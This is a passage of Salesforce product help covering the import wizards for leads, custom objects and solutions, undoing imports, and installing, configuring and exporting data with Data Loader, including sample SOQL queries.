1. The import wizard can compare the records in your import file with existing records in Salesforce in order to prevent
duplicate records from being created as a result of your import. Indicate whether you would like to prevent duplicate records
from being created. You must select Yes in order to update existing records.
2. If you choose Yes, then additional choices will appear:

815

Data Management

Accessing the Import Wizards

Choose the field that you are using to match existing records in Salesforce with records in your import file. The
External ID option is disabled if no external ID fields have been created for your records.
Choose what you want to happen if matches are foundonly import new records, only update existing records, or
update existing records and import new ones.
Note: If you have chosen to match by Salesforce ID, you can only update existing records; you cannot
import new ones.

3. Click Next.
Specify owner and lookup relationships
1. Specify the field in your import file that contains person account owners.
When you choose Name, the following formats are valid:

First name followed by last name


Last name followed by first name
Alias
Username

For more information, see User Fields on page 32.


2. Records can have custom fields that create lookup relationships with other records. If you have included lookup fields in
your import file, then check the corresponding boxes.
Note: Any related records must already exist in Salesforce before proceeding. Related records will not be updated
during your import even if your import file contains different values for fields on those related records.
3. Click Next.
Select record type
1. Choose the record type that you want to assign to the records in your import file.
2. If you are inserting new records and updating existing records at the same time, then choose whether to override the record
types of existing records.
3. Click Next.
Upload your import file
1. Click Browse... to provide the location of your import file.
2. Choose the character encoding of your import file. In most cases, you can accept the default value.
3. Make additional settings depending on the setup of your organization, such as whether workflow rules will be triggered
and the language of the records in the import file.
4. Click Next.
Map fields
1. Map the fields in your import file to the appropriate Salesforce fields by matching the fields on the left, which includes all
the columns in your import file, with the appropriate Salesforce field on the right. If the column labels in your import file
exactly match field labels in Salesforce, the wizard automatically maps those fields for you. However, if two or more of
your file's column labels are identical matches with a field in Salesforce, you must map the fields manually.

816

Data Management

Accessing the Import Wizards

Note: Some Salesforce fields cannot be updated using import, for example, the Created Date and Last
Modified Date. So even though you may be using an exported report as your import file, some of the Salesforce
fields in your file cannot be mapped.
2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field
values are not imported.
Confirm and submit your import
1. Read any warning messages that the import wizard displays. Optionally, click Previous to return to earlier steps and resolve
potential problems.
2. Click Import Now! to submit your import request to Salesforce.
Complete your import
1. A message indicates approximately how long the import will take. When the import operation is finished, a message from
Customer Support will be sent to the email address shown.
2. Click Finish to exit the wizard.
3. To monitor the status of your pending import, visit the import queue. See Using the Import Queue on page 912.

See Also:
Accessing the Import Wizards

Import My Organizations Leads


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use the Import My Organization's Leads wizard:

Read, Create, and Edit on leads


AND
Import Leads

With the Import My Organizations Leads wizard, administrators, users with the Marketing User profile, or users with the
Import Leads permission and Read, Create, and Edit permissions on leads can import up to 50,000 leads at a time for
multiple users. Before beginning, make sure you have created an export file (see Creating Export Files for Import Wizards on
page 789) and correctly prepared your data (see Field Mapping for Importing Leads on page 806).
Note: We recommend you import a small test file first to make sure that you have prepared your import file correctly.

1. Start the wizard.


Click Your Name > Setup > Data Management > Import Leads, and click Start the Import Wizard.

817

Data Management

Accessing the Import Wizards

2. Upload the file.


a. Select Browse to load your import file.
b. If desired, select a value to import into the Lead Source field of all imported leads. Alternatively, you can assign the
lead source via a Lead Source field in your import file. You must specify a Lead Source value that is not marked
as Converted; leads with a Converted status will not be imported.
c. Next, choose a lead assignment rule to determine the owners of imported leads (see Managing Assignment Rules on
page 1305). If you have a Record Owner field in your import file, do not select an assignment rule. Without an assignment
rule or a Record Owner field in your import file, all leads are assigned to the administrator doing the import. When
importing records by Salesforce record ID, the Record Owner field in your import file is ignored. All records retain
their existing owners; record owners cannot be updated using the import wizard.
d. If you have chosen an assignment rule, select the Use assignment rule settings to send notification
emails to record owners checkbox to send notification emails to owners of newly created leads. If you do not
select the checkbox, no email notifications are sent, regardless of your assignment rule settings.
e. Then select the character encoding of your file. Most users do not need to change the default setting.
f. Choose whether to match your organizations leads by Salesforce ID, name, or email. This field sets the criteria for
avoiding duplicates. For example, if you are matching by email and a record in your source file has the same email as
a record in Salesforce, then that record will be updated in Salesforce. If you are not matching by email and there is a
record in Salesforce with the same email, then a new record will be created. Select a matching type of None if you
do not want to de-duplicate leads; a new record will be created for every lead in your import file.
When importing new leads for a campaign, the Matching Type option is not available; the wizard does not merge
duplicate leads.
g. Organizations that use the Translation Workbench can specify the language of the import data.
h. If you use divisions, select a division to assign to all imported records. Alternatively, select None to use the record
owners default division on each record, or specify the division in your import file.
i. Select the checkbox to trigger workflow rules for new and updated records that match workflow rule criteria.
j. If your organization has multiple record types on leads, choose the active record type that will be applied to all leads in
your import file. However, if you are logged in as a user who has a default lead record type selected at Your Name >
Setup > My Personal Information > Record Type Selection > Lead, then this drop-down list does not display and
your default lead record type is automatically applied to the imported records.
k. Click Next to continue.
3. Map the fields.
a. The wizard associates the Salesforce lead field names with the field names in your import file. You must verify the
default mappings and alter any incorrect mappings. For more information about the default mappings, see Field
Mapping for Importing Leads on page 806. Any unmapped fields are not imported.
b. If you chose to avoid duplicate leads (that is, the selected Matching Type is not None), check the Overwrite
existing lead values box if you want to overwrite existing lead fields with your import data. Note that you
cannot use this checkbox to update existing field data with blank values.
c. Click Next to continue.
4. Review and confirm.
Choose Import Now! to send your import request. Your leads are imported within the next 24 hours, and we notify you
via email when the import is complete. Once the system begins processing, you cannot cancel the import. See Undoing
an Import on page 825.
5. Check the Import Queue.

818

Data Management

Accessing the Import Wizards

You can use the Import Queue link to check the progress of your import. Click Your Name > Setup > Monitoring >
Imports. Alternatively, click the Import Queue link on the Import Wizard for My Organizations Leads page. For imports
that have not begun processing, you can click Del to cancel the import.

See Also:
Accessing the Import Wizards

Import My Organization's Custom Objects


Custom object import available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import custom objects:

Modify All Data

With the Import My Organization's Custom Objects wizard, you can import custom objects.
Follow these steps to import custom objects. Click each link for more details.
1. Launch the wizard
2. Choose the custom object
3. Prevent duplicate records
4. Specify owner, master-detail, and lookup relationships
5. Set lookup record matching
6. Select record type
7. Upload your import file
8. Map fields
9. Confirm and submit your import
10. Complete your import
Note: The import wizard is dynamic; it displays different screens depending on what you are importing and the setup
of your organization.

Launch the wizard


1. To import custom objects, choose Your Name > Setup > Data Management > Import Custom Objects.
2. For best results, perform all of the steps provided on the introductory page.
3. Click Start the Import Wizard! to begin your import.
Choose the custom object
1. The first step of the wizard lists the custom objects that have been defined for your organization.
2. Identify the custom object you are importing by selecting the corresponding radio button.
3. Click Next.

819

Data Management

Accessing the Import Wizards

Prevent duplicate records


1. The import wizard can compare the records in your import file with existing records in Salesforce in order to prevent
duplicate records from being created as a result of your import. Indicate whether you would like to prevent duplicate records
from being created. You must select Yes in order to update existing records.
2. If you choose Yes, then additional choices will appear:

Choose the field that you are using to match existing records in Salesforce with records in your import file. The
External ID option is disabled if no external ID fields have been created for your records.
Choose what you want to happen if matches are foundonly import new records, only update existing records, or
update existing records and import new ones.
Note: If you have chosen to match by Salesforce ID, you can only update existing records; you cannot
import new ones.

3. Click Next.
Specify owner, master-detail, and lookup relationships
1. Custom objects can be owned by users, or they can have a master-detail relationship with other records. For example, a
custom object can have a custom field that creates a master-detail relationship with accounts. In that case, your import file
must include the names or IDs of all associated accounts.

If your custom objects are owned by users, then choose the field in your import file to use for matching record owners.
When you choose Name, the following formats are valid:

First name followed by last name


Last name followed by first name
Alias
Username

For more information, see User Fields on page 32.

If your records have a master-detail relationship with another kind of record, then choose the field in your import file
to use for matching master records.

2. Records can have custom fields that create lookup relationships with other records. If you have included lookup fields in
your import file, then check the corresponding boxes.
Note: Any related records must already exist in Salesforce before proceeding. Related records will not be updated
during your import even if your import file contains different values for fields on those related records.
3. Click Next.
Set lookup record matching
1. If you checked one or more lookup fields in the previous step, select the field (name or ID) you are using to uniquely
identify those related records.
2. Click Next.
Select record type
1. If the records you are importing have record types, then choose the record type that you want to assign to the records in
your import file.

820

Data Management

Accessing the Import Wizards

2. If you are inserting new records and updating existing records at the same time, then choose whether to override the record
types of existing records.
3. Click Next.
Upload your import file
1. Click Browse... to provide the location of your import file.
2. Choose the character encoding of your import file. In most cases, you can accept the default value.
3. Make additional settings depending on the setup of your organization, such as whether workflow rules will be triggered
and the language of the records in the import file.
4. Click Next.
Map fields
1. Map the fields in your import file to the appropriate Salesforce fields by matching the fields on the left, which includes all
the columns in your import file, with the appropriate Salesforce field on the right. If the column labels in your import file
exactly match field labels in Salesforce, the wizard automatically maps those fields for you. However, if two or more of
your file's column labels are identical matches with a field in Salesforce, you must map the fields manually.
Note: Some Salesforce fields cannot be updated using import, for example, the Created Date and Last
Modified Date. So even though you may be using an exported report as your import file, some of the Salesforce
fields in your file cannot be mapped.
2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field
values are not imported.
Confirm and submit your import
1. Read any warning messages that the import wizard displays. Optionally, click Previous to return to earlier steps and resolve
potential problems.
2. Click Import Now! to submit your import request to Salesforce.
Complete your import
1. A message indicates approximately how long the import will take. When the import operation is finished, a message from
Customer Support will be sent to the email address shown.
2. Click Finish to exit the wizard.
3. To monitor the status of your pending import, visit the import queue. See Using the Import Queue on page 912.

See Also:
Accessing the Import Wizards
What Is Imported for Custom Objects?
FAQ: Importing

821

Data Management

Accessing the Import Wizards

Import My Organization's Solutions


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import solutions:

Import Solutions

With the Import My Organization's Solutions wizard, you can import solutions.
Follow these steps to import solutions. Click each link for more details.
1. Launch the wizard
2. Choose the type of solution (multilingual solutions only)
3. Prevent duplicate records
4. Specify author and lookup relationships
5. Set lookup record matching
6. Select record type
7. Upload your import file
8. Map fields
9. Confirm and submit your import
10. Complete your import
Note: The import wizard is dynamic; it displays different screens depending on what you are importing and the setup
of your organization.

Launch the wizard


1. To import solutions, choose Your Name > Setup > Data Management > Import Solutions.
2. For best results, perform all of the steps provided on the introductory page.
3. Click Start the Import Wizard! to begin your import.
Choose the type of solution (multilingual solutions only)
1. If multilingual solutions is enabled for your organization, choose to import either master solutions or translated solutions.
You cannot import both at the same time.
For each translated solution you import, include the 15 to 18 character Solution ID field of its master solution in a
master solution ID column in your import file. This will help you avoid having to manually associate translated solutions
with master solutions after import. To view the Solution ID field for master solutions, run the Translated Solutions
report.
2. Select the language of the solutions you are importing from the Language drop-down list. For each import, you can only
select one language so make sure your import file includes solutions in a single language.

822

Data Management

Accessing the Import Wizards

Prevent duplicate records


1. The import wizard can compare the records in your import file with existing records in Salesforce in order to prevent
duplicate records from being created as a result of your import. Indicate whether you would like to prevent duplicate records
from being created. You must select Yes in order to update existing records.
2. If you choose Yes, then additional choices will appear:

Choose the field that you are using to match existing records in Salesforce with records in your import file. The
External ID option is disabled if no external ID fields have been created for your records.
Choose what you want to happen if matches are foundonly import new records, only update existing records, or
update existing records and import new ones.
Note: If you have chosen to match by Salesforce ID, you can only update existing records; you cannot
import new ones.

3. Click Next.
Specify author and lookup relationships
1. Solutions are associated with authors - the users who initially created the solutions. If you have included a column in your
import file to identify authors, specify the user field it contains.
When you choose Name, the following formats are valid:

First name followed by last name


Last name followed by first name
Alias
Username

For more information, see User Fields on page 32.


Choose None to specify yourself as the author of the imported solutions.
2. Records can have custom fields that create lookup relationships with other records. If you have included lookup fields in
your import file, then check the corresponding boxes.
Note: Any related records must already exist in Salesforce before proceeding. Related records will not be updated
during your import even if your import file contains different values for fields on those related records.
3. Click Next.
Set lookup record matching
1. If you checked one or more lookup fields in the previous step, select the field (name or ID) you are using to uniquely
identify those related records.
2. Click Next.
Select record type
1. If the records you are importing have record types, then choose the record type that you want to assign to the records in
your import file.
2. If you are inserting new records and updating existing records at the same time, then choose whether to override the record
types of existing records.
3. Click Next.

823

Data Management

Accessing the Import Wizards

Upload your import file


1. Click Browse... to provide the location of your import file.
2. Choose the character encoding of your import file. In most cases, you can accept the default value.
3. Make additional settings depending on the setup of your organization, such as whether workflow rules will be triggered
and the language of the records in the import file.
4. Click Next.
Map fields
1. Map the fields in your import file to the appropriate Salesforce fields by matching the fields on the left, which includes all
the columns in your import file, with the appropriate Salesforce field on the right. If the column labels in your import file
exactly match field labels in Salesforce, the wizard automatically maps those fields for you. However, if two or more of
your file's column labels are identical matches with a field in Salesforce, you must map the fields manually.
Note: Some Salesforce fields cannot be updated using import, for example, the Created Date and Last
Modified Date. So even though you may be using an exported report as your import file, some of the Salesforce
fields in your file cannot be mapped.
2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field
values are not imported.
Confirm and submit your import
1. Read any warning messages that the import wizard displays. Optionally, click Previous to return to earlier steps and resolve
potential problems.
2. Click Import Now! to submit your import request to Salesforce.
Complete your import
1. A message indicates approximately how long the import will take. When the import operation is finished, a message from
Customer Support will be sent to the email address shown.
2. Click Finish to exit the wizard.
3. To monitor the status of your pending import, visit the import queue. See Using the Import Queue on page 912.

See Also:
Accessing the Import Wizards

824

Data Loader

Undoing an Import

Undoing an Import
Available in: All Editions except Database.com

User Permissions Needed


To mass delete data:

Modify All Data

If you import accounts, contacts, leads, or solutions by mistake, your administrator can click Your Name > Setup > Data
Management > Mass Delete Records to delete the items you mistakenly imported. View the Using Mass Delete to Undo
Imports document for instructions.
The Mass Delete Records tools do not support custom objects. If you import custom objects by mistake in Enterprise,
Unlimited, or Developer Edition, your administrator can use the Data Loader to mass delete the mistakenly imported records.
See Performing Mass Deletes on page 839.

DATA LOADER
Data Loader Overview
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Data Loader is a client application for the bulk import or export of data. Use it to insert, update, delete, or export Salesforce
records.
When importing data, Data Loader reads, extracts, and loads data from comma separated values (CSV) files or from a database
connection. When exporting data, it outputs CSV files.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

You can use Data Loader in two different ways:

User interfaceWhen you use the user interface, you work interactively to specify the configuration parameters, CSV files
used for import and export, and the field mappings that map the field names in your import file with the field names in
Salesforce.
Command lineWhen you use the command line, you specify the configuration, data sources, mappings, and actions in
files. This enables you to set up Data Loader for automated processing.

Data Loader offers the following key features:

An easy-to-use wizard interface for interactive use

825

Data Management

When to Use Data Loader

An alternate command line interface for automated batch operations


Support for large files with up to 5 million records
Drag-and-drop field mapping
Support for all objects, including custom objects
Can be used to process data in both Salesforce and Database.com
Detailed success and error log files in CSV format
A built-in CSV file viewer
Support for Windows 7

To get started, see the following topics:

When to Use Data Loader


Installing Data Loader
Note: In previous versions, Data Loader has been known as AppExchange Data Loader and Sforce Data Loader.

When to Use Data Loader


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Data Loader complements the web-based import wizards that are accessible from the Setup menu in the online application.
Refer to the following guidelines to determine which method best suits your business needs:
Use Data Loader when:

You need to load 50,000 to 5,000,000 records. Data Loader is supported for loads of up to 5 million records. If you need
to load more than 5 million records, we recommend you work with a salesforce.com partner or visit the App Exchange for
a suitable partner product.
You need to load into an object that is not yet supported by the import wizards.
You want to schedule regular data loads, such as nightly imports.
You want to export your data for backup purposes.

Use the import wizards when:

You are loading less than 50,000 records.


The object you need to import is supported by import wizards. To see what import wizards are available and thus what
objects they support, click Your Name > Setup > Data Management.
You want to prevent duplicates by uploading records according to account name and site, contact email address, or lead
email address.

For more information about the import wizards, see Importing Overview on page 779.

826

Installing and Configuring the Data Loader

Installing Data Loader

INSTALLING AND CONFIGURING THE DATA LOADER


Installing Data Loader
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To access the page to download Data Loader:

Modify All Data

To use Data Loader:

The appropriate user permission for the operation you are


doing, for example, Create on accounts to insert new
accounts

System Requirements
To use Data Loader, you need:

Microsoft Windows 7 or Windows XP


120 MB free disk space
256 MB available memory
Java JRE 1.6 or later (Windows 7 or Windows XP)
Sun JVM 1.6 or later (Windows 7 or Windows XP)
Administrator privileges on the machine

Installation Procedure
Caution: Over time, multiple versions of the Data Loader client application have been available for download. Different
versions have different entries in the Add or Remove Programs dialog in your Windows Control Panel. Some versions
were released with earlier product names such as AppExchange Data Loader or Sforce Data Loader. You can run
different versions at the same time on one computer. However, do not install multiple copies of the same version.
The latest version is always available from Salesforce at Your Name > Setup > Data Management > Data Loader.
If you have previously installed the latest version and want to install it again, first remove it from your computer by
using the Add or Remove Programs dialog in Windows Control Panel.
1. In the application, click Your Name > Setup > Data Management > Data Loader.
2. Click Download the Data Loader and save the installer to your PC. If you're prompted to run or save the file, click Run.
If you're then prompted to allow the program to make changes to the computer, click Yes.
3. Double-click the downloaded file to launch the InstallShield wizard.
4. Click Next.
5. Accept the license agreement and click Next.
6. Accept the default installation directory, or click Change... to choose another directory. Click Next.
7. Click Install.
8. Click Finish.

827

Data Management

Configuring Data Loader

9. To start Data Loader, double-click the Data Loader icon on your desktop, or choose Start > All Programs > salesforce.com
> Apex Data Loader > Apex Data Loader.
Tip:
If you experience login issues in the command line interface after upgrading to a new version of Data Loader, please
try re-encrypting your password to solve the problem. For information on the password encryption utility, see Encrypting
From the Command Line on page 843.
If you want to download the source code and make changes, an open source version of Data Loader is available at
https://github.com/forcedotcom/dataloader.
Login Considerations
If your organization restricts IP addresses, logins from untrusted IPs are blocked until theyre activated. Salesforce automatically
sends you an activation email that you can use to log in. The email contains a security token that you must add to the end of
your password. For example, if your password is mypassword, and your security token is XXXXXXXXXX, you must enter
mypasswordXXXXXXXXXX to log in.

Configuring Data Loader


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Use the Settings menu to change the default operation settings of Data Loader.
1. Start Data Loader by choosing Start > Programs > salesforce.com > Data Loader > Data Loader.
2. Choose Settings > Settings.
3. Edit the fields as desired:
Field

Description

Batch size

In a single insert, update, upsert, or delete operation, records


moving to or from Salesforce are processed in increments of
this size. The maximum value is 200. We recommend a
value between 50 and 100.
The maximum value is 10,000 if the Use Bulk API option
is selected.

Insert null values

Select this option to insert blank mapped values as null


values during data operations. Note that when you are
updating records, this option instructs Data Loader to
overwrite any existing data in mapped fields.
This option is not available if the Use Bulk API option
is selected. Empty field values are ignored when you update
records using the Bulk API. To set a field value to null
when the Use Bulk API option is selected, use a field value
of #N/A.

828

Data Management

Configuring Data Loader

Field

Description

Assignment rule

Specify the ID of the assignment rule to use for inserts,


updates, and upserts. This option applies to inserts, updates,
and upserts on cases and leads. It also applies to updates on
accounts if your organization has territory assignment rules
on accounts. The assignment rule overrides Owner values
in your CSV file.

Server host

Enter the URL of the Salesforce server with which you want
to communicate. For example, if you are loading data into
a sandbox, change the URL to
https://test.salesforce.com.

Reset URL on Login

By default, Salesforce resets the URL after login to the one


specified in Server host. To turn off this automatic reset,
disable this option.

Compression

Compression enhances the performance of Data Loader and


is turned on by default. You may want to disable compression
if you need to debug the underlying SOAP messages. To
turn off compression, enable this option.

Timeout

Specify how many seconds Data Loader waits to receive a


response back from the server before returning an error for
the request.

Query request size

In a single export or query operation, records are returned


from Salesforce in increments of this size. The maximum
value is 2,000 records. Larger values may improve
performance but use more memory on the client.

Generate status files for exports

Select this option to generate success and error files when


exporting data.

Read all CSVs with UTF-8 encoding

Select this option to force files to open in UTF-8 encoding,


even if they were saved in a different format.

Write all CSVs with UTF-8 encoding

Select this option to force files to be written in UTF-8


encoding.

Use European date format

Select this option to support the date formats dd/MM/yyyy


and dd/MM/yyyy HH:mm:ss.

Allow field truncation

Select this option to truncate data in the following types of


fields when loading that data into Salesforce: Email,
Multi-select Picklist, Phone, Picklist, Text, and Text
(Encrypted).
In Data Loader versions 14.0 and earlier, values for fields of
those types are truncated by Data Loader if they are too
large. In Data Loader version 15.0 and later, the load
operation fails if a value is specified that is too large.

829

Data Management

Field

Configuring Data Loader

Description
Selecting this option allows you to specify that the previous
behavior, truncation, be used instead of the new behavior in
Data Loader versions 15.0 and later. This option is selected
by default and has no effect in versions 14.0 and earlier.
This option is not available if the Use Bulk API option
is selected. In that case, the load operation fails for the row
if a value is specified that is too large for the field.

Use Bulk API

Select this option to use the Bulk API to insert, update,


upsert, delete, and hard delete records. The Bulk API is
optimized to load or delete a large number of records
asynchronously. Its faster than the default SOAP-based
API due to parallel processing and fewer network
round-trips.
Caution: When you select the Hard Delete
operation, the deleted records are not stored in the
Recycle Bin. Instead, they become immediately
eligible for deletion. The permission for this
operation, Bulk API Hard Delete, is disabled by
default and must be enabled by an administrator. A
Salesforce user license is required for hard delete.
For more information, see Configuring the Data Loader to
Use the Bulk API on page 832 and Data Loader Behavior
with Bulk API Enabled on page 831

Enable serial mode for Bulk API

Select this option to use serial instead of parallel processing


for Bulk API. Processing in parallel can cause database
contention. When this is severe, the load may fail. Using
serial mode guarantees that batches are processed one at a
time. Note that using this option may significantly increase
the processing time for a load.
This option is only available if the Use Bulk API option
is selected.

Upload Bulk API Batch as Zip File

Select this option to use Bulk API to upload zip files


containing binary attachments, such as Attachment records
or Salesforce CRM Content.
This option is only available if the Use Bulk API option
is selected.

830

Data Management

Configuring Data Loader

Field

Description

Time Zone

Select this option to specify a default time zone.


If a date value does not include a time zone, this value is
used.

If no value is specified, the time zone of the computer


where Data Loader is installed is used.
If an incorrect value is entered, GMT is used as the time
zone and this fact is noted in the Data Loader log.

Valid values are any time zone identifier which can be passed
to the Java getTimeZone(java.lang.String) method.
The value can be a full name such as
America/Los_Angeles, or a custom ID such as
GMT-8:00.
Proxy host

The host name of the proxy server, if applicable.

Proxy port

The proxy server port.

Proxy username

The username for proxy server authentication.

Proxy password

The password for proxy server authentication.

Proxy NTLM domain

The name of the Windows domain used for NTLM


authentication.

Start at row

If your last operation failed, you can use this setting to begin
where the last successful operation finished.

4. Click OK to save your settings.

Data Loader Behavior with Bulk API Enabled


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Enabling the Bulk API in Data Loader allows you to load or delete a large number of records faster than using the default
SOAP-based API. However, there are some differences in behavior in Data Loader when you enable the Bulk API. One
important difference is that it allows you to execute a hard delete if you have the permission and license. See Configuring Data
Loader on page 828.
The following settings are not available on the Settings > Settings page in Data Loader when the Use Bulk API option is
selected:

831

Data Management

Uninstalling the Data Loader

Insert null values

This option enables Data Loader to insert blank mapped values as null values during data operations when the Bulk
API is disabled. Empty field values are ignored when you update records using the Bulk API. To set a field value to
null when the Use Bulk API option is selected, use a field value of #N/A.
Allow field truncation

This option directs Data Loader to truncate data for certain field types when the Bulk API is disabled. A load operation
fails for the row if a value is specified that is too large for the field when the Use Bulk API option is selected.

Configuring the Data Loader to Use the Bulk API


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

The Bulk API is optimized to load or delete a large number of records asynchronously. It is faster than the SOAP-based API
due to parallel processing and fewer network round-trips. By default, Data Loader uses the SOAP-based API to process
records.
To configure Data Loader to use the Bulk API for inserting, updating, upserting, deleting, and hard deleting records:
1.
2.
3.
4.

Start Data Loader by choosing Start > Programs > salesforce.com > Data Loader > Data Loader.
Choose Settings > Settings.
Select the Use Bulk API option.
Click OK.
Note: You can also select the Enable serial mode for Bulk API option. Processing in parallel can cause
database contention. When this is severe, the load may fail. Using serial mode guarantees that batches are processed
one at a time. Note that using this option may significantly increase the processing time for a load.
Caution: When you select the Hard Delete operation, the deleted records are not stored in the Recycle Bin. Instead,
they become immediately eligible for deletion. The permission for this operation, Bulk API Hard Delete, is disabled
by default and must be enabled by an administrator. A Salesforce user license is required for hard delete.

Uninstalling the Data Loader


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

To uninstall the Data Loader client application:


1. Go to Start > Control Panel > Add or Remove Programs.
2. Select the Data Loader program.
3. Click Remove. The uninstaller removes the program from your computer.

832

Using Data Loader

Data Types Supported by Data Loader

USING DATA LOADER


Data Types Supported by Data Loader
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Data Loader supports the following data types:


Base64
String path to file (converts the file to a base64encoded array). Base64 fields are only used to insert or update attachments
and Salesforce CRM Content. For more information, see Uploading Attachments on page 839 and Uploading Content
with the Data Loader on page 840.
Boolean

True values (case insensitive) = yes, y, true, on, 1


False values (case insensitive) = no, n, false, off, 0

Date Formats
We recommend you specify dates in the format yyyy-MM-ddTHH:mm:ss.SSS+/-HHmm:

yyyy is the four-digit year


MM is the two-digit month (01-12)
dd is the two-digit day (01-31)
HH is the two-digit hour (00-23)
mm is the two-digit minute (00-59)
ss is the two-digit seconds (00-59)
SSS is the three-digit milliseconds (000-999)
+/-HHmm is the Zulu (UTC) time zone offset

The following date formats are also supported:

yyyy-MM-dd'T'HH:mm:ss.SSS'Z'
yyyy-MM-dd'T'HH:mm:ss.SSS Pacific Standard Time
yyyy-MM-dd'T'HH:mm:ss.SSSPacific Standard Time
yyyy-MM-dd'T'HH:mm:ss.SSS PST
yyyy-MM-dd'T'HH:mm:ss.SSSPST
yyyy-MM-dd'T'HH:mm:ss.SSS GMT-08:00
yyyy-MM-dd'T'HH:mm:ss.SSSGMT-08:00
yyyy-MM-dd'T'HH:mm:ss.SSS -800
yyyy-MM-dd'T'HH:mm:ss.SSS-800
yyyy-MM-dd'T'HH:mm:ss

833

Data Management

Data Types Supported by Data Loader

yyyy-MM-dd HH:mm:ss
yyyyMMdd'T'HH:mm:ss
yyyy-MM-dd
MM/dd/yyyy HH:mm:ss
MM/dd/yyyy

Note the following tips for date formats:

To enable date formats that begin with the day rather than the month, select the Use European date format
box in the Settings dialog. European date formats are dd/MM/yyyy and dd/MM/yyyy HH:mm:ss.
If your computer's locale is east of Greenwich Mean Time (GMT), we recommend that you change your computer
setting to GMT in order to avoid date adjustments when inserting or updating records.
Only dates within a certain range are valid. The earliest valid date is 1700-01-01T00:00:00Z GMT, or just after
midnight on January 1, 1700. The latest valid date is 4000-12-31T00:00:00Z GMT, or just after midnight on
December 31, 4000.
Note: These values are offset by your time zone. For example, in the Pacific time zone, the earliest valid
date is 1699-12-31T16:00:00, or 4:00 PM on December 31, 1699.

Double
Standard double string
ID
A Salesforce ID is a case-sensitive 15-character or caseinsensitive 18-character alphanumeric string that uniquely
identifies a particular record.
Tip: To ensure data quality, make sure that all Salesforce IDs you enter in Data Loader are in the correct case.

Integer
Standard integer string
String
All valid XML strings; invalid XML characters are removed.

834

Data Management

Exporting Data

Exporting Data
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To export records:

Read on the records

To export all records:

Read on the records

You can use the Data Loader export wizard to extract data from any Salesforce object. When you export, you can choose to
include (Export All) or exclude (Export) soft-deleted records.
1. Start the Data Loader by choosing Start > Programs > salesforce.com > Data Loader > Data Loader.
2. Click Export or Export All . These commands can also be found in the File menu.
3. Enter your Salesforce username and password. Click Log in to log in. After your login completes successfully, click Next.
(Until you log out or close the program, you will not be asked to log in again.)
If your organization restricts IP addresses, logins from untrusted IPs are blocked until theyre activated. Salesforce
automatically sends you an activation email that you can use to log in. The email contains a security token that you must
add to the end of your password. For example, if your password is mypassword, and your security token is XXXXXXXXXX,
you must enter mypasswordXXXXXXXXXX to log in.
4. Choose an object. For example, select the Account object. If your object name does not display in the default list, check
Show all objects to see a complete list of objects that you can access. The objects will be listed by localized label
name, with developer name noted in parentheses. For object descriptions, see the SOAP API Developer's Guide.
5. Click Browse... to select the CSV file to which the data will be exported. You can enter a new file name to create a new
file or choose an existing file.
If you select an existing file, the contents of that file are replaced. Click Yes to confirm this action, or click No to choose
another file.
6. Click Next.
7. Create a SOQL query for the data export. For example, check Id and Name in the query fields and click Finish. As you
follow the next steps, you will see that the CSV viewer displays all the Account names and their IDs. SOQL is the Salesforce
Object Query Language that allows you to construct simple but powerful query strings. Similar to the SELECT command
in SQL, SOQL allows you to specify the source object, a list of fields to retrieve, and conditions for selecting rows in the
source object.
a. Choose the fields you want to export.
b. Optionally, select conditions to filter your data set. If you do not select any conditions, all the data to which you have
read access will be returned.
c. Review the generated query and edit if necessary.
Tip: You can use a SOQL relationship query to include fields from a related object. For example:
Select Name, Pricebook2Id, Pricebook2.Name, Product2Id, Product2.ProductCode FROM
PricebookEntry WHERE IsActive = true

835

Data Management

Defining Field Mappings

Or:
Select Id, LastName, Account.Name FROM Contact

When using relationship queries in Data Loader, the fully specified field names are case-sensitive. For example,
using ACCOUNT.NAME instead of Account.Name does not work.
Data Loader does not support nested queries or querying child objects. For example, queries similar to the following
return an error:
SELECT Amount, Id, Name, (SELECT Quantity, ListPrice,
PriceBookEntry.UnitPrice, PricebookEntry.Name,
PricebookEntry.product2.Family FROM OpportunityLineItems)
FROM Opportunity

For more information on SOQL, see the Salesforce SOQL and SOSL Reference Guide.
8. Click Finish, then click Yes to confirm.
9. A progress information window reports the status of the operation.
10. After the operation completes, a confirmation window summarizes your results. Click View Extraction to view the CSV
file, or click OK to close. For more details, see Reviewing Output Files on page 841.
Note: Data Loader currently does not support the extraction of attachments. As a workaround, we recommend that
you use the weekly export feature in the online application to export attachments.

Defining Field Mappings


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Whenever you insert, delete, or update files, use the Mapping Dialog window to associate Salesforce fields with the columns
of your CSV file. For more information, see Inserting, Updating, or Deleting Data Using Data Loader on page 837.
1. To automatically match fields with columns, click Auto-Match Fields to Columns. The Data Loader automatically
populates the list at the bottom of the window, based on the similarity of field and column names. Note that for a delete
operation, automatic matching works only on the ID field.
2. To manually match fields with columns, click and drag fields from the list of Salesforce fields at the top to the list of CSV
column header names at the bottom. For example, if you are inserting new Account records where your CSV file contains
the names of new accounts, click and drag the Name field to the right of the NAME column header field.
3. Optionally, click Save Mapping to save this mapping for future use. Specify a name for the SDL mapping file.
If you select an existing file, the contents of that file are replaced. Click Yes to confirm this action, or click No to choose
another file.
4. Click OK to use your mapping for the current operation.

836

Data Management

Inserting, Updating, or Deleting Data Using Data Loader

Inserting, Updating, or Deleting Data Using Data Loader


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To insert records:

Create on the record

To update records:

Edit on the record

To upsert records:

Create or Edit on the record

To delete records:

Delete on the record

To hard delete records

Delete on the record

The insert, update, upsert, delete, and hard delete wizards in Data Loader allow you to add new records, modify existing
